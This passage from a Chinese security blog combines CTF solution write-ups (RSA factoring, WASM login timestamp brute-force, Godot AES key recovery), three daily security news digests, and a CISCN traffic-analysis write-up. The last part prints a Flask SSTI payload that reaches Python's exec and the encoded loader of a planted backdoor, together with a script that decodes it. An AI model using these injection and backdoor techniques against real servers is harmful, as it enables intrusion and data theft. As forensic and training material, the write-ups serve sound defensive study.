known_factor = 12094541303222723616975666632268830751848445571951987169074250626437877110205699058506111384472586354084793914769711672322551034923778729430162356351731919
def get_primes(limit):
ps = []
is_p = [True] * (limit + 1)
for p in range(2, limit + 1):
if is_p[p]:
ps.append(p)
for i in range(p * p, limit + 1, p): is_p[i] = False
return ps
print("[*] Generating primes...")
primes = get_primes(2**20 + 2000)
n1_factors = {known_factor}
curr_n = n
# 初始化 A。注意:要在当前的 curr_n 下运算
A = pow(3, n1, curr_n)
print("[*] Starting robust factorization...")
for p in tqdm(primes):
# 计算 p 的最高幂次
p_pow = p
while p_pow * p <= 2**20:
p_pow *= p
A = pow(A, p_pow, curr_n)
# 检查当前因子
g = math.gcd(A - 1, curr_n)
# 如果找到了因子(哪怕是多个因子的乘积),我们都要处理
if 1 < g < curr_n:
# 这里可能 g 包含了 p, q 等。为了提取 n1 的因子,
# 我们需要尝试把 g 里的每一个素因子抠出来。
# 简单的方法:直接用 g 去试探 n1
f = math.gcd(g - 1, n1)
if f > 1:
# 彻底分解 f
temp_f = f
for k in list(n1_factors):
while temp_f % k == 0: temp_f //= k
if temp_f > 1 and isPrime(temp_f):
n1_factors.add(temp_f)
print(f"\n[+] Found n1 factor: {temp_f}")
# 核心改进:从当前模数中剔除已发现的因子,防止 GCD 变成 n
curr_n //= g
A %= curr_n
elif g == curr_n:
# 这种情况通常由于 base 的选择导致,但在本逻辑中通过 A %= curr_n 极难发生
# 如果发生了,说明当前的 A 已经在所有因子上都等于 1 了
break
if len(n1_factors) >= 4:
break
# 补全逻辑
if len(n1_factors) == 3:
p = 1
for x in n1_factors: p *= x
n1_factors.add(n1 // p)
if len(n1_factors) >= 4:
factors = list(n1_factors)
print("\n[!] All factors found. Decrypting...")
phi = 1
for f in factors: phi *= (f - 1)
d = inverse(e, phi)
m = pow(c, d, n1)
flag = long_to_bytes(m)
print("="*30)
# 查找 flag 字符串
if b'flag' in flag:
print(flag[flag.find(b'flag'):].split(b'}')[0].decode() + '}')
else:
print(f"Decrypted (hex): {flag.hex()}")
print("="*30)
else:
print(f"\n[-] Still missing factors. Found: {len(n1_factors)}")
3.Re
3.1 wasm-login
需要一个工具 https://github.com/WebAssembly/wabt
截取一部分release.wat的代码出来
(data (;42;) (i32.const 4296) "\02\00\00\00\1a\00\00\00{\00\22\00u\00s\00e\00r\00n\00a\00m\00e\00\22\00:\00\22")
(data (;44;) (i32.const 4344) "\02\00\00\00\1c\00\00\00\22\00,\00\22\00p\00a\00s\00s\00w\00o\00r\00d\00\22\00:\00\22")
(data (;53;) (i32.const 4584) "\02\00\00\00\1e\00\00\00\22\00,\00\22\00s\00i\00g\00n\00a\00t\00u\00r\00e\00\22\00:\00\22")
(data (;27;) (i32.const 2328) "\02\00\00\00\80\00\00\00N\00h\00R\004\00U\00J\00+\00z\005\00q\00F\00G\00i\00T\00C\00a\00A\00I\00D\00Y\00w\00Z\000\00d\00L\00l\006\00P\00E\00X\00K\00g\00o\00s\00t\00x\00u\00M\00v\008\00r\00H\00B\00p\003\00n\009\00e\00m\00j\00Q\00f\001\00c\00W\00b\002\00/\00V\00k\00S\007
可以看到这里有username password signature NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8HBp3n9emjQf1cWb2/VkS7yO(这应该是张自定义的base64码表)
可以看出来这个程序在后台拼凑一个 JSON 字符串,包含用户名、密码和某个签名
username和password已经在题目给的index.html中找到
而index.html中还发现md5的开头部分
const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
JSON.stringify(data): 这一步是把传进来的数据,比如包含用户名、密码、签名的对象变成一个字符串
CryptoJS.MD5(...): 对这个字符串进行 MD5 哈希计算
.toString(CryptoJS.enc.Hex): 把计算结果转换成 十六进制字符串
结论:变量 check 的值就是一个 MD5 哈希字符串
if (check.startsWith("ccaf33e3512e31f3")){
resolve({ success: true });
}
startsWith("..."): 这是 JavaScript 的字符串方法,意思是判断字符串是否以指定的子字符串开头
resolve({ success: true }): 只有当条件成立,返回 true时,服务器才会告诉前端验证通过或登录成功
通过上面的代码,可以得出以下逻辑链条:
目标:让函数返回 success: true
条件:check 变量必须以 "ccaf33e3512e31f3" 开头
check 的本质:它是输入数据的 MD5 值
结论:需要找到一个输入数据,包含正确的时间戳,使得它的 MD5 值的前 16 位 正好是 ccaf33e3512e31f3
接着看程序的常量
if ;; label = @1
i32.const 1779033703
global.set 1
i32.const -1150833019
global.set 2
...
把这些数字转成十六进制:
1779033703 -> 0x6a09e667
-1150833019 -> 0xbb67ae85
去搜索引擎搜这些十六进制数,就会知道这是 SHA-256 的标准初始常量
程序使用了 SHA-256 加密。结合 func 33 里的 xor 118 和 xor 60,这正是 HMAC-SHA256
因为xor 常量 118 (0x76) 和 60 (0x3c),这是 HMAC 算法中 ipad 和 opad 的典型特征
而根据题目内容
题目内容:
某人本想在2025年12月第三个周末爆肝一个web安全登录demo,结果不仅搞到周一凌晨,他自己还忘了成功登录时的时间戳了,你能帮他找回来吗?
提交格式为flag{时间戳正确时的check值}。是一个大括号内为一个32位长的小写十六进制字符串
题目说:2025年12月第三个周末,一直搞到周一凌晨。
2025年12月21日(周日),22日(周一)
2025-12-22 00:00:00 -> 1766332800000
2025-12-22 02:00:00 -> 1766340000000
所以范围大概就在这中间
import hashlib
from datetime import datetime, timezone, timedelta
class CryptoEngine:
"""内部安全引擎 - 负责令牌生成与校验"""
def __init__(self):
# 混淆过的映射表
self._alphabet = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO"
self._user_info = ("admin", "admin")
self._goal_prefix = "ccaf33e3512e31f3"
def _transform(self, data: bytes) -> str:
"""核心编码逻辑:自定义位流映射"""
out = []
val, bits = 0, 0
for byte in data:
val = (val << 8) | byte
bits += 8
while bits >= 6:
bits -= 6
out.append(self._alphabet[(val >> bits) & 0x3F])
if bits > 0:
out.append(self._alphabet[(val << (6 - bits)) & 0x3F])
res = "".join(out)
# 补齐长度
return res + ("=" * ((4 - len(res) % 4) % 4))
def check_sequence(self, tick: int) -> str:
"""计算特定时间戳下的认证指纹"""
u, p = self._user_info
# 预处理密码编码
p_enc = self._transform(p.encode('latin-1'))
# 构造原始载荷
payload = '{"username":"%s","password":"%s"}' % (u, p_enc)
raw_msg = payload.encode('utf-8')
# 密钥派生 (Key Derivation)
seed = str(tick).encode()
key_block = hashlib.sha256(seed).digest() if len(seed) > 64 else seed
key_block = key_block.ljust(64, b'\x00')
# 这里的 118(0x76) 和 60(0x3C) 是原始逻辑的特征常数
p1 = bytes([b ^ 118 for b in key_block])
p2 = bytes([b ^ 60 for b in key_block])
# 嵌套哈希架构 (注意:这是非标准的哈希顺序 inner + opad)
mid_hash = hashlib.sha256(p1 + raw_msg).digest()
final_sig = self._transform(hashlib.sha256(mid_hash + p2).digest())
# 生成最终校验体
full_body = '{"username":"%s","password":"%s","signature":"%s"}' % (u, p_enc, final_sig)
return hashlib.md5(full_body.encode()).hexdigest()
def run_audit(self):
"""执行扫描任务"""
# 时间范围定义
tz = timezone(timedelta(hours=8))
t_start = int(datetime(2025, 12, 22, 0, 0, tzinfo=tz).timestamp() * 1000)
t_end = int(datetime(2025, 12, 22, 6, 0, tzinfo=tz).timestamp() * 1000)
print(f"[*] Task started: scanning range {t_start} -> {t_end}")
total = t_end - t_start
for current_ts in range(t_start, t_end + 1):
token = self.check_sequence(current_ts)
if token.startswith(self._goal_prefix):
print(f"\n[+] Match discovered at index: {current_ts}")
print(f"[+] Final Flag: flag{{{token}}}")
return
if current_ts % 100000 == 0:
progress = (current_ts - t_start) / total * 100
print(f"[*] Processing... {progress:.1f}%", end='\r')
if __name__ == "__main__":
engine = CryptoEngine()
engine.run_audit()
3.2 babygame
一道Godot逆向题,得有专门的工具
extends CenterContainer
@onready var flagTextEdit: Node = $PanelContainer / VBoxContainer / FlagTextEdit
@onready var label2: Node = $PanelContainer / VBoxContainer / Label2
static var key = "FanAglFanAglOoO!"
var data = ""
func _on_ready() -> void :
Flag.hide()
func get_key() -> String:
return key
func submit() -> void :
data = flagTextEdit.text
var aes = AESContext.new()
aes.start(AESContext.MODE_ECB_ENCRYPT, key.to_utf8_buffer())
var encrypted = aes.update(data.to_utf8_buffer())
aes.finish()
if encrypted.hex_encode() == "d458af702a680ae4d089ce32fc39945d":
label2.show()
else:
label2.hide()
func back() -> void :
get_tree().change_scene_to_file("res://scenes/menu.tscn")
可以看到
初始key:FanAglFanAglOoO!
目标密文hex:d458af702a680ae4d089ce32fc39945d
算法 是 AES ,代码中明确调用了 AESContext.new()
模式是 ECB 代码中使用了 AESContext.MODE_ECB_ENCRYPT
密钥 FanAglFanAglOoO!
该字符串长度为 16 个字符。
在 UTF-8 编码下,16 个字符等于 16 字节(128位),因此,这是 AES-128
照理说直接写个脚本逆向就可以得到flag了,可是一直不对
然后看了题目内容
题目内容:
请找出隐藏的Flag。请注意只有收集了所有的金币,才能验证flag。
意思就是金币,也就是分数得达到一个设定好的数才能验证flag,回去逆向看看那里关于分数的函数
可以看到分数这里的代码是说当分数+1的时候,密钥中的A替换成B
所以正确的密钥应该是
FanBglFanBglOoO!
所以套上脚本就是
from Crypto.Cipher import AES
key = b"FanBglFanBglOoO!"
ciphertext = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
cipher = AES.new(key, AES.MODE_ECB)
result = cipher.decrypt(ciphertext)
print(result)
网络安全日报 2026年01月15日
1、《Apex英雄》游戏漏洞可远程控制其他玩家操作
https://cyberpress.org/apex-legends-remote-input-control-exploit/ 热门战术竞技游戏《Apex英雄》被曝存在严重安全漏洞,攻击者可远程劫持并控制其他玩家的游戏内输入操作。该漏洞使黑客能在玩家不知情的情况下,完全操控其角色移动、武器使用及战术技能,直接破坏游戏公平性与玩家操控权,属于竞技游戏领域新型攻击向量。开发商Respawn Entertainment确认漏洞仅作用于输入处理层面,不涉及远程代码执行或系统入侵,未引发更严重的设备安全风险。目前开发团队正开展深度取证分析,排查受影响玩家并明确事件范围,承诺及时更新修复进展,同时呼
2、微软2026年首次安全更新修复其产品及系统的112个漏洞
https://cyberscoop.com/microsoft-patch-tuesday-january-2026/ 微软发布2026年首次补丁星期二更新,修复涉及旗下产品及底层系统的112个漏洞,其中含1个已被在野利用的零日漏洞(CVE-2026-20805)。该漏洞位于桌面窗口管理器(Desktop Window Manager),属于信息泄露类缺陷(CVSS评分5.5),攻击者可利用其泄露敏感内存信息,削弱系统防御并助力其他漏洞利用,提升多阶段攻击成功率,可能导致权限提升或数据窃取。美国CISA已将其纳入已知利用漏洞目录,专家指出该漏洞利用需攻击者获取本地权限,且这是该组件信息泄露
3、西班牙能源巨头Endesa遭网络攻击导致客户数据泄露
https://www.barrons.com/news/hack-hits-spanish-energy-giant-endesa-s-client-data-419ba37d 西班牙能源巨头Endesa披露遭网络攻击,其数百万客户中的部分个人数据已被泄露,但公司明确排除了信息被欺诈性使用的可能。攻击者非法获取了客户能源合同相关数据、联系方式、身份证号及支付方式等信息,不过客户登录密码未受影响。Endesa表示其安全协议已迅速且妥善地控制并缓解了该事件,目前无数据遭欺诈使用的记录,暂未披露攻击具体发生时间及受影响客户数量(该公司在西班牙和葡萄牙拥有超1000万客户)。目前公司正展开全面调查
4、黑客宣称窃取Target内部源代码和开发者文档
https://www.bleepingcomputer.com/news/security/targets-dev-server-offline-after-hackers-claim-to-steal-source-code/ 2026年1月13日更新消息显示,多名塔吉特(Target)员工确认泄露源代码样本集的真实性,并分享了有关访问权限变更的内部通知。此前,未知威胁者在Gitea平台发布疑似塔吉特内部代码仓库样本,称更大规模数据集(约860GB)将在暗网拍卖,样本含支付服务、礼品卡等相关代码及内部服务器、工程师信息。塔吉特被问询后,相关仓库被移除,其开发服务器git.target.c
5、微软Copilot曝一键式漏洞:攻击者可悄无声息窃取敏感数据
https://www.freebuf.com/articles/ai-security/466532.html 研究人员发现针对微软Copilot Personal的新型一键式攻击,攻击者可通过该漏洞静默窃取用户敏感数据。该漏洞现已被修复,此前威胁分子可通过钓鱼链接劫持会话而无需进一步交互。
6、FortiOS高危漏洞可致远程攻击者执行任意代码
https://cybersecuritynews.com/fortios-and-fortiswitchmanager-vulnerability/ Fortinet披露高危漏洞(CWE-122),攻击者可远程执行任意代码,影响多个FortiOS、FortiSASE和FortiSwitchManager版本。建议立即升级或禁用fabric接口并阻断CAPWAP-CONTROL流量。
7、新型高级Linux恶意软件VoidLink瞄准云与容器环境
https://thehackernews.com/2026/01/new-advanced-linux-voidlink-malware.html VoidLink是一款针对Linux云环境的模块化恶意软件框架,支持动态扩展和隐蔽攻击,具备37个插件覆盖完整攻击链,采用高级反检测技术,与中国关联威胁组织有关,专攻云服务和开发环境。
8、Spring CLI工具漏洞可导致用户设备遭受命令注入攻击
https://cybersecuritynews.com/spring-cli-tool-vulnerability/ Spring CLI VSCode扩展0.9.0及更早版本存在命令注入漏洞(CVE-2026-22718,CVSS 6.3),攻击者可本地执行任意命令。该扩展已终止支持,建议立即卸载并改用替代方案。
9、Node.js 关键漏洞可触发堆栈溢出导致服务崩溃
https://thehackernews.com/2026/01/critical-nodejs-vulnerability-can-cause.html Node.js修复关键漏洞CVE-2025-59466(CVSS 7.5),该漏洞在使用async_hooks时可能导致堆栈溢出直接崩溃而非优雅处理,影响几乎所有生产环境应用,包括Next.js和主流APM工具。建议立即升级至20.20.0/22.22.0/24.13.0/25.3.0版本。
10、微软桌面窗口管理器0Day漏洞遭野外利用
https://cybersecuritynews.com/desktop-window-manager-0-day-vulnerability/ 微软紧急修复DWM关键0Day漏洞CVE-2026-20805,该漏洞允许本地攻击者泄露内存数据,可能用于权限提升。漏洞被评为重要级别,影响旧版Windows系统,需优先部署补丁。微软确认漏洞已被利用,建议限制低权限账户并监控DWM进程。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月14日
1、BlueDelta黑客组织利用PDF文件为诱饵窃取登录凭证
https://hackread.com/russian-bluedelta-fancy-bear-pdfs-steal-login/ 黑客组织BlueDelta(又称Fancy Bear)于2025年2月至9月,针对土耳其及欧洲能源、核研究等领域专业人士开展凭证窃取攻击。该组织以海湾研究中心(GRC)、EcoClimate基金会等机构的合法PDF为诱饵(如气候行动、以伊相关报告),受害者打开链接查看文档时,页面会在2秒后自动切换至仿冒登录界面,涵盖谷歌(葡萄牙语版)、Sophos VPN、微软Outlook等多种类型,分别针对不同地区及行业人群。攻击借助Webhook.site等免费网络服
2、攻击者利用Cloudflare服务隐蔽传输AsyncRAT载荷
https://www.trendmicro.com/en_us/research/26/a/analyzing-a-a-multi-stage-asyncrat-campaign-via-mdr.html 攻击者利用Cloudflare免费服务及TryCloudflare隧道域名搭建WebDAV服务器,结合Python环境部署AsyncRAT远程控制木马,实施多阶段攻击。攻击始于含Dropbox链接的钓鱼邮件,以双扩展名(.pdf.url)文件为诱饵,执行时显示合法PDF降低受害者警惕。后续通过Windows脚本主机等合法工具下载恶意脚本,在受害者系统搭建Python环境,向explore
3、新型OPCOPRO诈骗活动利用AI与伪造WhatsApp群组欺骗受害者
https://hackread.com/opcopro-scam-ai-fake-whatsapp-groups-fraud/ 研究人员披露,名为OPCOPRO的大型诈骗活动通过构建AI驱动的虚假数字世界欺诈移动端用户。2025年10月起,诈骗分子冒充高盛发送承诺70%股票回报的短信,诱导用户点击链接加入伪造WhatsApp群组。群内AI生成的“詹姆斯教授”“莉莉助理”与大量自动化机器人营造虚假氛围,经数周建立信任后,诱导用户从官方应用商店下载OPCOPRO空壳应用,以虚假合作协议和高回报承诺诱骗完成KYC认证(上传身份证及活体自拍)并投资。窃取的身份信息可用于SIM卡互换、入侵工作账户等
4、CISA将Gogs高危漏洞纳入已知被利用漏洞目录
https://securityaffairs.com/186837/hacking/u-s-cisa-adds-a-flaw-in-gogs-to-its-known-exploited-vulnerabilities-catalog.html 美国网络安全与基础设施安全局(CISA)将Gogs(Go Git Service)的路径遍历漏洞(CVE-2025-8110,CVSS评分8.7)纳入已知被利用漏洞(KEV)目录。该漏洞源于PutContents API对符号链接处理不当,是此前已修复RCE漏洞(CVE-2024-55947)的绕过漏洞,授权攻击者可通过符号链接覆盖仓库外文件实现远
5、Everest黑客组织宣称入侵日产汽车窃取约900GB敏感数据
https://cyberpress.org/breach-of-nissan-motors/ 黑客组织Everest宣称对全球顶尖汽车制造商日产汽车(Nissan Motor Co., Ltd.)实施了网络入侵,并窃取约900GB敏感数据。该入侵事件于2026年1月10日被观测到,目前尚未经独立验证,Everest已提供部分入侵证据,但被盗数据的完整范围和具体性质未完全披露。作为全球汽车制造业关键企业,日产的此次疑似入侵可能影响运营、员工记录、知识产权或客户信息,进而波及下游产业链的生产计划与业务连续性。相关声明由Hackmanac威胁情报网络监测发现并归类为活跃网络攻击警报,行业背景显示
6、夏威夷大学癌症中心遭勒索软件攻击
https://www.bleepingcomputer.com/news/security/university-of-hawaii-cancer-center-hit-by-ransomware-attack/ 夏威夷大学披露,其癌症中心于2025年8月31日遭勒索软件攻击,攻击者窃取了研究参与者数据,含20世纪90年代用于标识参与者的社保号文件。该事件仅影响单个研究项目,未波及临床运营。校方发现后立即断开受影响系统并聘请专家调查,为保护相关人员信息,选择与威胁者接触并支付赎金,以获取解密工具并确保被盗数据被安全销毁。目前校方尚未通知受影响者,已采取安装终端防护、更换系统及防火墙等措施强
7、朝鲜远程工作者通过身份窃取入侵敏感系统牟利6亿美元
https://cybersecuritynews.com/dprks-remote-workers-generating-600m-using/ 朝鲜远程渗透计划年创收6亿美元,通过虚假身份和AI深度伪造技术获取西方企业高薪职位,窃取资金和知识产权。企业需升级身份验证,核实员工物理位置,加强网络流量分析以防范威胁。
8、恶意Chrome扩展窃取钱包登录凭证并实施自动化交易
https://cybersecuritynews.com/malicious-chrome-extension-steals-wallet-login-credentials/ 恶意Chrome扩展MEXC API Automator伪装成交易工具,窃取用户API密钥并自动勾选提现权限,通过Telegram发送给攻击者,无需密码即可清空账户。
9、超10万台暴露在互联网的n8n实例存在远程代码执行漏洞风险
https://cybersecuritynews.com/100000-n8n-instances-exposed/ n8n工作流平台曝高危RCE漏洞(CVE-2026-21858),CVSS评分10.0,超10万暴露实例面临完全控制风险。攻击者可无认证执行任意代码,窃取数据。建议立即升级至1.121.0版本并限制网络访问。
10、黑客利用"浏览器套浏览器"技术窃取Facebook用户登录凭证
https://cybersecuritynews.com/hackers-leverage-browser-in-the-browser-tactic/ Facebook用户面临新型钓鱼攻击,攻击者利用"浏览器套浏览器"技术创建逼真登录弹窗,结合社会工程学窃取凭证。攻击托管于可信云平台,隐蔽性极强,需用户高度警惕。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2026年01月13日
1、Kimsuky黑客组织针对政府机构发起钓鱼攻击
https://securityaffairs.com/186755/intelligence/north-korea-linked-apt-kimsuky-behind-quishing-attacks-fbi-warns.html 美国联邦调查局(FBI)发布警示,与朝鲜关联的APT组织Kimsuky正通过含恶意二维码的鱼叉式钓鱼邮件,针对政府机构、学术院校及智库发动攻击。此类攻击将恶意二维码作为邮件附件或嵌入式图形,规避传统安全过滤,受害者扫描后会被导向攻击者控制的重定向器,收集设备与身份信息,再推送仿冒微软365、Okta等平台的钓鱼页面窃取凭证,还可通过会话令牌盗用绕过多因素认证。
2、欧洲刑警组织突袭打击西班牙黑斧网络犯罪团伙
https://thehackernews.com/2026/01/europol-arrests-34-black-axe-members-in.html 欧洲刑警组织联合西班牙国家警察等机构在西班牙开展行动,抓获34名涉嫌隶属于跨国犯罪组织Black Axe的成员,其中28人在塞维利亚落网,马德里、马拉加、巴塞罗那各有多人被捕。该组织涉足网络诈骗、贩毒、人口贩卖等多种犯罪活动,此次涉案诈骗金额超593万欧元(约合690万美元)。执法部门已冻结11.9万余欧元银行账户资金,并查获6.6万余欧元现金。Black Axe1977年起源于尼日利亚,等级制度森严,全球约有3万名注册成员,此前国际刑
3、BreachForums黑客论坛泄露超32万用户信息
https://hackread.com/breachforums-database-users-leak-admin-disputes/ 2026年1月9日,知名网络犯罪论坛BreachForums的用户数据库被公开泄露,涉及323986名用户信息。该数据库由黑客相关平台shinyhunte.rs发布,含用户显示名、邮箱、Argon2i密码哈希及Telegram关联账户等数据,附带的有效PGP签名证实数据源自论坛内部系统。BreachForums管理员回应称,泄露数据源于2025年8月域名被下架后的恢复过程,因用户表和PGP密钥短暂存于不安全目录被盗,强调未发生服务器入侵,密码经安全哈希处
4、黑客宣称窃取康泰纳仕4000万条用户记录
https://www.securityweek.com/hacker-claims-theft-of-40-million-conde-nast-records-after-wired-data-leak/ 化名“Lovely”的黑客近期在多个网络犯罪论坛泄露《连线》杂志(Wired.com)230万订阅用户记录后,宣称还窃取了其母公司康泰纳仕(Condé Nast)超4000万条用户记录,并威胁将在“未来几周内”分批公开。网络安全公司Hudson Rock证实了《连线》泄露数据的真实性,经与信息窃取恶意软件获取的凭证交叉验证匹配。泄露数据含姓名、邮箱、生日等信息,仅邮箱地址在所有记录中均
5、Instagram否认泄露约1750万账号数据
https://securityboulevard.com/2026/01/massive-instagram-data-scare-ties-17-5m-accounts-to-leak-but-meta-denies-breach/ 全球知名社交平台Instagram陷入大规模网络安全恐慌,数百万用户收到非主动请求的密码重置邮件,引发大规模数据泄露担忧,但母公司Meta否认系统遭入侵,称用户账号仍安全。2026年1月8日起,多国用户陆续收到来源显示为Instagram官方的密码重置邮件,引发社交媒体和安全论坛广泛关注。网络安全公司Malwarebytes发现暗网论坛流传含约1750万In
6、黑客攻击代理服务器获取LLM服务访问权限
https://www.bleepingcomputer.com/news/security/hackers-target-misconfigured-proxies-to-access-paid-llm-services/ 攻击者正系统性搜寻配置错误的代理服务器,以获取商业大型语言模型(LLM)服务访问权限,相关活动自2025年12月底持续至今,已探测73个LLM端点并生成超8万次会话。据GreyNoise平台报告,存在两大攻击活动:10月的攻击活动利用SSRF漏洞注入恶意链接,疑似安全研究人员所为;12月28日启动的攻击活动则通过低噪音查询枚举暴露的LLM端点,目标涵盖OpenAI、谷歌
7、Everest黑客组织宣称入侵日产汽车公司
https://www.freebuf.com/articles/database/466006.html Everest黑客组织宣称对日产汽车有限公司(Nissan Motor Co., Ltd.)实施了重大数据入侵,这再次引发人们对大型汽车制造商数据安全问题的担忧。
8、InputPlumber严重漏洞威胁Linux游戏玩家
https://securityonline.info/game-over-critical-inputplumber-flaws-expose-linux-gamers-to-hijacking/ Linux游戏工具InputPlumber曝高危漏洞(CVE-2025-66005、CVE-2025-14338),允许本地攻击者劫持会话或窃取root文件。漏洞源于D-Bus服务缺乏认证,建议升级至v0.69.0或SteamOS 3.7.20修复。
9、OWASP CRS关键漏洞可绕过过滤器
https://securityonline.info/wafs-wide-open-critical-owasp-crs-flaw-bypasses-filters/ OWASP CRS防火墙规则集存在严重漏洞,攻击者可绕过安全过滤,威胁网站安全。该漏洞影响广泛,需紧急修复以防范潜在攻击。
10、高危 React Router 漏洞可导致服务器文件泄露
https://securityonline.info/critical-react-router-flaws-cve-2025-61686-exposes-server-files/ React Router库曝高危漏洞(CVE-2025-61686,CVSS 9.1),影响会话管理,可入侵服务器文件系统,同时存在多个XSS漏洞。建议立即升级至7.12.0或7.9.6版本修复。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
2025CISCN流量分析全复盘与技法总结
0.前言
一直以来都想写个流量分析的做题总结,总结一些思路和方法,但找不到好的例题,刚好国赛这道流量分析就挺适合的
题目内容
近期发现公司网络出口出现了异常的通信,现需要通过分析出口流量包,对失陷服务器进行定位。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放,查找服务器上安装的后门木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
1.SnakeBackdoor-1
攻击者爆破成功的后台密码是什么?,结果提交形式:flag{xxxxxxxxx}
直接筛选出http流量
并找到最后一个login,右键追踪一下,就看到后台密码了
flag{zxcvbnm123}
2.SnakeBackdoor-2
攻击者通过漏洞利用获取Flask应用的 `SECRET_KEY` 是什么,结果提交形式:flag{xxxxxxxxxx}
模糊查询,直接找到这个关键字“SECRET_KEY"
http contains "SECRET_KEY"
右键进行一个追踪,并查询关键字SECRET_KEY
这段流量是 Flask 框架应用配置对象 的完整序列化输出,攻击者通过 SSTI(服务端模板注入) 漏洞成功读取了内存中的敏感变量
内容:'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'
安全意义:这是 Flask 应用最核心的安全凭证
一般用来:Session 签名,也就是Flask 默认将 Session 存储在客户端 Cookie 中,并使用此 Key 进行 HMAC 签名,一旦泄露,攻击者可以使用工具,比如说 flask-unsign伪造任意用户的 Session,例如将 user_id 改为 1 或 admin,从而实现越权登录,甚至在某些配置下导致 RCE
所以对应的flag{c6242af0-6891-4510-8432-e1cdf051f160}
3.SnakeBackdoor-3
攻击者植入的木马使用了加密算法来隐藏通讯内容。请分析注入Payload,给出该加密算法使用的密钥字符串(Key) ,结果提交形式:flag{xxxxxxxx}
继续往后翻,会发现1789流有异常
为什么说这段流量是可疑的?
首先,内容以 {{ ... }} 包裹,正常的“预览预览”功能应该只处理纯文本或简单的 HTML,而这里提交的是 Jinja2 模板执行代码
其次,它有危险函数的调用,载荷中出现了 url_for.__globals__['__builtins__']['exec']
globals,我们都知道它是试图访问 Python 的全局命名空间
exec,这又是 Python 最危险的函数,能将字符串当作代码执行,基本上任何在流量中看到的 exec 基本上都是 RCE 的标志
接着,它里面还嵌套了 base64.b64decode、zlib.decompress 以及 [::-1]等一大堆乱七八糟的东西,正常的业务请求绝不会将代码进行压缩、反转再发送
最后,一个简单的“Hello World”预览请求通常只有几十个字节,但这个请求的 Content-Length 达到了 4602 字节,说明其中隐藏了复杂的逻辑脚本
判断好之后,我们就要分析这段内容是什么了
首先是SSTI 注入层,使用 {{url_for.__globals__['__builtins__']['exec'](代码, 上下文)}},这是利用了 Flask 的模板注入漏洞来调用 Python 的内置 exec 函数
其次,Base64 编码层(外壳)exec(base64.b64decode('XyA9IGxh...'))这段 Base64 解码后是_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); exec((_)(b'=c4CU3xP...'))这定义了一个解密函数 _:反转字符串 -> Base64 解码 -> Zlib 解压
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=c4CU3xP+//vPzftv8gri635a0T1rQvMlKGi3iiBwvm6TFEvahfQE2PEj7FOccTIPI8TGqZMC+l9AoYYGeGUAMcarwSiTvBCv37ys+N185NocfmjE/fOHei4One0CL5TZwJopElJxLr9VFXvRloa5QvrjiTQKeG+SGbyZm+5zTk/V3nZ0G6Neap7Ht6nu+acxqsr/sgc6ReEFxfEe2p30Ybmyyis3uaV1p+Aj0iFvrtSsMUkhJW9V9S/tO+0/68gfyKM/yE9hf6S9eCDdQpSyLnKkDiQk97TU
接着,反转 + Zlib 压缩层攻击者将真正的恶意代码,也就是上述那段以 =c4CU3xP 开头的巨大字符串,进行了 Zlib 压缩,并做了字符反转,最后再 Base64 编码
最后注意 Payload 末尾:{'request':..., 'app':get_flashed_messages.globals['current_app']},攻击者将 Flask 的 app 对象传入了执行环境。这意味着恶意代码可以直接读取 app.config
所以exp.py
import base64
import zlib
import re
from typing import Tuple, Optional
class PayloadDecoder:
def __init__(self, max_layers: int = 200):
self.max_layers = max_layers
self.pattern = r"exec\(\(_\)\(b'([^']+)'\)\)"
def _reverse_bytes(self, data: bytes) -> bytes:
return data[::-1]
def _base64_decode(self, data: bytes) -> bytes:
return base64.b64decode(data)
def _zlib_decompress(self, data: bytes) -> bytes:
return zlib.decompress(data)
def _extract_nested_payload(self, text: str) -> Optional[str]:
match = re.search(self.pattern, text)
return match.group(1) if match else None
def decode_blob(self, encoded: bytes) -> bytes:
reversed_data = self._reverse_bytes(encoded)
decoded = self._base64_decode(reversed_data)
decompressed = self._zlib_decompress(decoded)
return decompressed
def process_payload(self, payload: bytes) -> Tuple[int, bytes]:
current = self.decode_blob(payload)
layer_count = 1
while layer_count < self.max_layers:
try:
text_content = current.decode('utf-8')
except UnicodeDecodeError:
text_content = current.decode('utf-8', errors='replace')
extracted = self._extract_nested_payload(text_content)
if extracted is None:
break
current = self.decode_blob(extracted.encode())
layer_count += 1
return layer_count, current
def execute():
encoded_payload = b'=c4CU3xP+//vPzftv8gri635a0T1rQvMlKGi3iiBwvm6TFEvahfQE2PEj7FOccTIPI8TGqZMC+l9AoYYGeGUAMcarwSiTvBCv37ys+N185NocfmjE/fOHei4One0CL5TZwJopElJxLr9VFXvRloa5QvrjiTQKeG+SGbyZm+5zTk/V3nZ0G6Neap7Ht6nu+acxqsr/sgc6ReEFxfEe2p30Ybmyyis3uaV1p+Aj0iFvrtSsMUkhJW9V9S/tO+0/68gfyKM/yE9hf6S9eCDdQpS
decoder = PayloadDecoder()
layers, content = decoder.process_payload(encoded_payload)
print(layers)
print(content.decode('utf-8', errors='replace'))
if __name__ == '__main__':
execute()
跑出来源代码
可以看到复原出来的源代码RC4的密钥是v1p3r_5tr1k3_k3y,所以flag{v1p3r_5tr1k3_k3y}
4.SnakeBackdoor-4
